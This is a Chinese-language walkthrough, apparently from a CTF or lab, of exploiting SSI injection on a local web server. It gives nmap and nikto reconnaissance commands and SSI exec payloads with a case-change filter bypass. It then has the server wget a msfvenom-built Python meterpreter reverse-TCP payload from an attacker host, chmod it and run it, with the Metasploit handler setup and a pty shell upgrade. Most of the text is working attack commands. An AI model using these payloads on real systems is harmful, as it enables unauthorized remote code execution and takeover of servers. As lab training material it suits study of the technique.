1.SSI注入攻击介绍
SSI的出现是为了赋予html静态页面动态的效果,通过SSI来执行系统命令,并返回对应结果。
如果网站目录中出现了.stm,.shtm,.shtml,并且网站对于SSI的输入没有做到严格过滤,很有可能被SSI注入攻击。
2.信息探测
#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.119
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.119
#探测敏感信息
nikto -host http://192.168.2.119
3.深入挖掘
4.漏洞利用
页面中带有POST参数的地方
尝试提交:
服务器返回结果:
查看结果判断exec被过滤,尝试使用!+ EXEC
返回结果:
#列举当前目录中的文件和目录
<!--#exec cmd="ls" -->
#切换到指定目录
<!--#exec cmd="cd/root/dir">
#下载shell脚本并运行
<!--#exec cmd="wget http://192.168.2.110/shell.py" -->
5.制作webshell
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.2.110 lport=4444 -f raw > /root/Desktop/shell.py
#启动监听
msf> use exploit/multi/handler
>set payload python/meterpreter/reverse_tcp
>set lhost 192.168.2.110
>set lport 4444
>run
#在攻击机开启web服务,后续命令从攻击机访问下载shell
mv shell.py /var/www/html/
service apache2 start
#下载shell脚本并运行
<!--#exec cmd="wget http://192.168.2.110/shell.py" -->
<!--#EXEC cmd="chmod 777 shell.py" -->
<!--#EXEC cmd="python shell.py" -->
6.执行操作
sysinfo 查看系统信息
shell 进入系统shell
#优化终端
python -c "import pty;pty.spawn('/bin/bash')"
后续仍需提权等查找flag操作
7.总结
在CTF比赛中,对于SSI漏洞服务器具有很多过滤机制,需要进行绕过,如大小写